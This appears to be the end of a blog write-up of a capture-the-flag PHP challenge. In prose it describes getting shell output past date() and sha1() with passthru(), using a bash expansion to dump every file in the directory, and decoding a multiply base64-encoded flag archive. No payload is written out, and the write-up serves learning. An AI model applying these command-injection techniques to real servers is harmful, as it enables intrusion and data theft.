- "flag.txt.gz" cannot be expressed only with [0-9] hex
- passthru() will output the result of the shell command directly to the browser, bypassing date() and sha1().
- Little bash expansion trick to get cat to output every file in the current directory

So this will dump the file content of all files in the current folder. From there, we extract flag.txt.gz and extract it, it's 19 megabytes big. It turns out be base64-encoded multiple times but nothing difficult.

I will need to research more about the binary string being executed by Zend parser later.

Please note you can also decrypt the b function using Xdebug's tracing functionality.

Share
Tagged as: , Comments Off